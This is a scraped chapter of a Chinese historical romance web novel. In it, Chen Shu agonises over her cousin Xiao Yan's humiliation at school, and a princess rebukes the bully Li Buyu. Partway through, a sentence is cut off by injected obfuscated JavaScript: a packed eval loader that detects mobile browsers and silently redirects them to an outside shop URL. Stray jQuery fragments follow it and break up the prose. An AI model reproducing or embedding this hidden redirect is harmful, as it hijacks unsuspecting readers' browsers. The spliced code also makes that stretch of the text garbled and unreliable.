文趣网 > 其他小说 > 与清冷权臣和离后 > 15. 当众回击
    书塾后院那棵老杏树的叶子黄了满枝,风一过便簌簌地往下落,铺了石阶一层薄薄的金色。

    萧衍坐在树下,背靠着粗实的树干,重新拿出一本书看了起来,修长的手指翻过纸页,神色平静得像一池深水。

    萧枝意站在他身边,双手叉着腰,腮帮子鼓鼓的,嘴里的念叨又急又脆,像豆子似的往外倒:“阿兄,你次次都是如此忍让,那几人却半分不见饶人。今日他们说的话那样难听,你竟连眉头都不皱一下。若是祖母知道萧木让人这样欺负你,定不会放过他的。”

    萧衍翻书的手指顿了一下,随即合上书卷,抬头看着萧枝意,目光里带着几分沉静的无奈:“不必让祖母知道。一次责骂,只会让他日后得寸进尺。”

    他的声音不重,却稳稳地压在暮色里,“他巴不得我跑去告状,好坐实了我这个庶子只会躲在长辈身后哭鼻子的名声。”

    “可是……”萧枝意咬了咬唇,眼眶微微泛红,小手攥着袖口,指尖捏得发白。

    “不用担心。”萧衍抬手,掌心落在她发顶,轻轻摸了摸,动作极轻极缓安慰道,“今日之后,他们应该不敢再来了。”

    他顿了顿,又补了一句,“下次再有这事,你不要再冲上前。”

    萧枝意仰着头看他,嘴唇动了动,终是把那句“可是我忍不住”咽了回去,只闷闷地“嗯”了一声。

    陈姝走的稍慢几步,还未穿过书塾外廊,便迎面遇上了白邺。

    他从后面走过来,手里拿着一卷书册,看见她站在廊下微微出神的模样,脚步便放慢了些:“陈姝姑娘,怎的如此着急?”

    陈姝停下脚步,弯了弯腰,这才回他:“我来找枝意。”

    白邺点点头,左右看了两眼,没看见萧枝意的身影,目光又落回陈姝脸上,轻声开口:“萧小姐在这边吗?似乎并没有看到。需要白某帮你一起找吗?”

    “不必了,多谢白公子。”陈姝的声音有些轻,也不着急去找萧衍他们,见白邺有意与她说话,便停了脚步,垂手站在廊柱旁。

    “方才李家公子那些话,陈姝姑娘不必放在心上。”白煜看着她柔声安慰道,目光温和,“今日之事,我会向萧老夫人说明,老夫人自会为萧兄做主的。”

    他虽与萧衍交好,但这事他不好直接出手相助。李不峪与萧木是表兄弟,萧夫人是李夫人的表妹,所以萧木和李不峪自然玩得更好一些。

    今日李不峪会给萧衍难堪、顺便踩一脚陈姝的身世,全是因为听说萧木在众目睽睽的家宴上出了丑,还因为陈姝被祖母罚了一顿。

    萧木把这口气全算在了陈姝头上,但是对一个弱女子下手不长脸,反而还会被其他世家公子嘲笑,陈姝又是萧衍的未婚妻,他自然就对萧衍下手了。

    欺压这个孤僻寡言的庶子,已是他们的日常。

    陈姝看着白煜平静的眼睛,一时间有一口气堵在胸口,沉闷得让她喘不上气来。

    她垂在袖中的手指蜷了蜷,指腹捏着袖口内侧的布料,反复摩挲着。

    她没想到萧衍的处境竟如此艰难,萧木在府里便嚣张跋扈,没想到在萧府外也如此恶劣。

    她还记得自己刚进萧府那段时间,萧木刚与人当街争吵,欺负了一个寒门士子,那件事让不少人看了笑话。

    萧木还因为这件事被罚跪祠堂三日,萧夫人没有一点心软,还警告他不可在外惹事。

    身为世家大族,名誉身份至关重要,不能被别人抓住话柄,也不可在外面丢了萧府的脸。

    可同为萧府公子,萧衍却从来没有被维护过一次。萧木还在书塾当着这么多人的面让人羞辱萧衍。

    同样的身份,却是天差地别的待遇,陈姝现在大概知道萧衍表兄为何总是待人疏离了。

    她沉默良久,才扯了扯嘴角,那弧度极浅,像是费了很大力气才牵起来的:“此事还拜托白公子了。”由他来说,定是比她同表祖母说要妥当一些,也不会让人觉得她逾矩了。

    白煜点了点头,目光在她脸上停了一瞬,见她神色淡淡的,便也不再多言,拱了拱手转身离开了。

    陈姝同白煜告别后,再往书塾后院去,已经看不见枝意他们的身影了。

    院里的杏叶又落了一层,风吹过来卷着几片枯叶打着旋从她脚边滚过。陈姝站在空荡荡的廊下,失落垂首,随即转身离开。

    今日课堂结束后,萧衍站起身,将书册收入袖中,转身快步离开,步伐比平日快了几分。

    陈姝跟着站起身,目光追着他的背影,脚步下意识地往前迈了半步,最后还是停住站在原地,看着他的身影穿过廊道,绕过那丛青竹,拐过月洞门,渐渐消失在暮色里。

    她走上前要说什么呢?向他道歉,说如果不是她,他们不会对他这般嘲笑?萧衍表兄会不会更加讨厌她?

    她正站在原地怔怔出神,萧枝意从后面跑了过来,手里抱着一本薄薄的册子,脸上带着得逞的笑,嘴角翘得高高的:“找到了找到了!陈姝姐姐你看,这本是讲前朝掌故的,我找了好几天呢!”

    她跑到陈姝身边,晃了晃手上的册子,纸张哗啦啦地响,“走吧,我念给陈姝姐姐听。”

    两人一同往外走,院门外的马车已经等了一会儿。

    琉珠站在车旁,手里搭着披风,看见陈姝出来便快步迎上前,目光在她脸上兜了一圈,见她神色还算平静,这才悄悄松了口气,嘴角浮起一个放心的弧度。

    陈姝上了马车,萧枝意也跟着钻进来,摊开那本册子就开始翻,一边翻一边叽叽喳喳地念给她听,声音清脆如珠落玉盘,偶尔还停下来指着某行字感叹一句“你看这段写得妙不妙”。

    陈姝靠在车壁上,听着她清脆的声音,目光落在窗外的街景上,随着马车的晃动,街边的店铺、行人和柳树一帧帧往后退去,她却有些出神。

    她想到方才萧衍从亭中走出来时的样子,脊背挺得那样直,肩线没有一丝松懈,表情那样淡,像什么都没有发生过。

    可她又想起他垂在身侧蜷了一下又松开的手指,如果不是她一直在看他,根本不会注意到。

    可偏偏她注意到了,于是那个画面就像一根细细的针,扎在脑海里,怎么也拔不出来。

    越想,陈姝心里越是愧疚,像有一块石头坠在胸口,沉甸甸地往下压。

    她这边在马车里出神,另一边的路上,萧衍几人的马车正不紧不慢地往府里走。而李家那位公子的马车没走多远,却在巷口被人截停了。

    一辆青帷小马车横在路中,车帘一掀,走出一个身量娇小的丫鬟。那丫鬟快步走到李不峪的车前,低声说了句什么。

    李不峪探出头来,脸上的玩味笑意在看清来人之后微微一凝,随即又化开,变成一抹似笑非笑的痞态,眼看着那小丫鬟搀着人一步一步上了他的马车。

    车厢里空间不算大,梁玉坐下时裙摆铺了大半张坐垫。她抬眼看着李不峪,下巴微微扬起,目光里带着几分审视。

    李不峪靠在车壁上,翘着一条腿,手里转着一枚玉佩,脸上那惊讶的神色转瞬即逝,随即又带上了惯常的讥笑,还是一副浪荡子的痞样:“郡主众目睽睽之下上了我的马车,不怕旁人如何议论吗?”

    “你今日为萧木出头那出戏,够人议论一阵了,还怕旁人多说两句?”梁玉睨了他一眼,鼻子里轻轻哼了一声,“本郡主可不怕。”

    李不峪半眯着眼看她,眼尾微微挑起,嘴角噙着笑意,像是听见了什么有趣的事。

    片刻后他笑了一声,声音里带着几分戏谑:“郡主来找我,不会是给萧大公子撑腰的吧?哈哈哈哈,他一个男人要靠女子讨公道,看来我也没说错。”他坐直了些,往前倾了倾身,一字一顿地说,“他就是一个懦夫。”

    “李不峪!”梁玉见他态度依旧恶劣,甚至嘲讽声更甚,忍不住呵斥一声,攥着帕子的手指紧了又紧。

    而后,她深吸了一口气,怒颜却忽然转笑。

    那笑意一点点从嘴角爬上来,最后化作铃铃的笑声,清脆悦耳,却让李不峪摸不着头脑,眯着的眼睛微微睁大了一些。

    “李公子够仗义,为了与萧二公子的兄弟情谊,不仅辱了萧衍,还恐吓了萧大小姐。”

    梁玉的声音不高不低,慢悠悠的,像是把一颗珠子放在桌面上滚来滚去,“这谁人不知——郡夫人是皇后娘娘最亲的妹妹,而枝意又是太子殿下的心上人。你这般威胁萧枝意,不就是挑战皇威,不把皇后娘娘和太子殿下放在眼里?”

    她顿了顿,看着李不峪脸上那抹笑意一点点僵住,嘴角的弧度更加深了些:“今日且是潇洒威风,日后被太子殿下追责,莫要哭诉求饶才好。”

    说完,她冷哼一声,不等李不峪反应,便掀开车帘,弯身下了车,绣鞋稳稳踩在踏板上,头也不回地走了。

    “等等!梁玉郡主……”李不峪的声音从身后追来,带着几分慌乱的急切。

    这边马车在萧府门口停下时,天边已经染上了一层浅橘色的暮光,将门前的石狮子镀上一层暖融融的边。

    陈姝扶着琉珠的手下了车,裙摆扫过车辕,刚站稳,便看见萧衍也从另一辆马车上下来。

    他的步伐不紧不慢,面上依旧没什么表情,像是方才书塾里的那场风波从未在他身上留下任何痕迹。

    陈姝犹豫了一下,手指攥了攥袖口,还是走上前

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17886347|212550||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,轻声唤了一声:“表兄。”

    萧衍脚步微顿,侧过头来看她。暮光从侧面照过来,落在他的脸上和肩上,将那原本清冷的轮廓映得柔和了几分,连眼底都像是染上了一层暖色。

    他没有说话,只是微微抬了抬眉,目光落在她脸上,像是在等她开口。

    陈姝张了张嘴,一时却不知道该说什么。她想问他还好吗,又觉得这个问法太蠢,他看上去一切都好,好得像是铜墙铁壁。

    她想道歉,想说“今日之事是因我而起”,又怕话说出来,反倒像是在提醒他那些难堪的事。

    她的唇瓣微微翕动了两下,最后还是抿紧了,目光垂落在自己脚尖前的那块青砖上。

    犹豫之间,萧衍却先开了口,声音淡淡的,像风拂过水面:“今日的课,可听得懂?”

    陈姝愣了一下,睫毛轻轻颤了颤,没想到他会问这个。

    她抬起头看他,眼里的惊喜掩饰不住,点了点头:“听得懂,夫子讲得细致。”声音比方才稳了些。

    “那就好。”萧衍说着,目光在她脸上停了一瞬,但什么也没再说,转过身上了石阶,长衫的下摆拂过石阶边缘,身影在暮色里渐渐远去,被门内的阴影缓缓吞没。

    陈姝站在原地,看着他修长的背影消失在门内,心里被轻轻捶了了一下,怦怦跳。

    她垂下眼,手指在袖口内侧轻轻按了按,像是要把那点温度存住。

    琉珠在身后轻声唤她:“小姐,该进去了,起风了。”

    陈姝回过神来,拢了拢鬓边的发丝,提起裙角跟着走进了门。暮风裹着桂花香从身后追上来,拂过她的发尾。

    回到南院时,琉珠已经将晚膳摆好了,几碟小菜,一碗清粥,搁在黄花梨木的桌案上,热气袅袅地升着。

    陈姝没什么胃口,只喝了两口粥便搁下了筷子,白瓷勺碰着碗沿发出轻轻一响。

    她起身走到窗边坐下,翻着今日在书塾里抄写的笔记,纸页上的字迹端正清秀,可看着看着便恍惚起来,目光落在某一处就不再移动了。

    窗外天色渐暗,暮云低垂,像一块灰蓝的绸子慢慢笼下来。

    廊下的灯笼还没点,院子里笼着一层青灰色的薄影,桂花的香气和晚风一起从窗缝里渗进来。

    她正看得出神,忽然听见院外传来一阵脚步声,夹杂着几句压低了嗓门的说话声,像是两个丫鬟在往这边走,步子不紧不慢,靴底蹭着石板发出细碎的声响。

    “……你听说了没有?大公子今日在书塾里又被人欺辱了。”

    “听说了听说了,还不是李侍郎家那位三公子。哎,也真是……大公子怎么得罪他们了?”

    “这你还不知道?还不就是那些事呗。不是我说,大公子若只是个寻常庶子也就罢了,偏偏还占着长子的位子,又得了老夫人青眼,那些人心里能舒服?”

    “那倒也是……不过我听说陈姑娘也在场,她没做什么吧?”

    “她能做什么?一个寄人篱下的,还能替大公子出头不成?我倒瞧她聪明着呢,知道躲着不掺和。”

    两个丫鬟的声音渐渐远了,像是在廊下拐了个弯,往别处去了。脚步声越来越轻,最后淹没在暮色深处。

    陈姝的手指停在纸页上,指腹压在纸面上,过了好一会儿,才慢慢翻过一页。纸页翻动的声响在寂静的房间里格外清晰。

    她将那些话在心里碾了一遍,又碾了一遍,像把一粒沙放在掌心来回揉搓。指尖摩挲着纸页的边缘,有些出神。

    聪明着呢,知道躲着不掺和……原来在旁人眼里,她是这样的。

    琉珠端着新沏的茶走进来,白瓷茶盏里浮着几片碧绿的叶子,热气袅袅。见她坐在窗边发呆,连自己走近都没察觉,琉珠轻声问:“小姐,怎么了?”

    陈姝猛地回过神,指尖从纸页上滑落,随即合上书册,封面发出轻轻一声响。

    她偏过头来看琉珠,嘴角弯了弯,那弧度很浅,像水面上一道将散未散的波纹:“没什么。去把灯点上吧,天要黑了。”

    琉珠应了一声,放下茶盏,转身去点灯。火折子轻轻一擦,橘黄的烛光亮起来,在屋内铺开一圈暖融融的光。

    陈姝看着那豆灯火,目光慢慢沉了下去。她知道的,也认定了,这件事是因她而起。

    萧木记恨的是她,却拿萧衍出气。那些人的嘲讽、恶意,原本都应该落在她身上的。

    她在心里暗暗想着对策,指尖在桌面上无意识地画着圈。既然是因为她,那她就把欠萧衍表兄的还了,让萧木付出代价,哪怕是再罚他两次。

    烛火轻轻跳了一下,她的影子在墙上微微晃动,细瘦而坚定。